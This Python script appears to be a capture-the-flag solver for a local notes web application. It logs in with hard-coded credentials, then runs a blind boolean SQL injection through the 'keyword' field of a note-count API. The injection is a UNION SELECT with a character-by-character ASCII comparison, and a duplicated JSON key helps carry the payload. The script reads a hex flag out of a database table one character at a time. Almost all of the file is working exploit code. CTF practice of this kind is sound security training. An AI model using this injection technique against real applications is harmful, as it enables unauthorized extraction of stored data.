import requests

HOST = "http://localhost:12000"

def login():
  token = requests.post(f"{HOST}/api/login",json={"email":"checker@gemasnotes.id", "password":"uRIqCvJ<IGb;VDT14"}).json()["token"]
  return token

def send_request(payload,token):
  res = requests.post(f"{HOST}/api/notes/count", data=payload, headers={"Authorization": f"Bearer {token}","Content-Type":"application/json"})
  if res.status_code == 401:
    new_token = login()
    return send_request(payload, new_token)
  return res.json()["count"], token

def attack():
  token = login()
  charset = "0123456789abcdef"

  flag = ""
  idx = 10
  for i in range(32):
    for c in list(charset):
      sql_payload = f"' UNION SELECT IF(ASCII(SUBSTRING((SELECT fl4gg FROM rewards), {idx}, 1)) = {ord(c)},31337,0) ORDER BY 1 DESC#"
      final_payload = '{"count_by":"title","keyword":"'+ sql_payload +'","keyword": "hehe"}'
      result,token = send_request(final_payload, token)
      if result == 31337:
        flag += c
        idx += 1
        print(f"[+] CHAR {idx} | {c}")
        break

  return "WRECKIT50{"+flag+"}"

if __name__=="__main__":
  flag = attack()
  print(flag)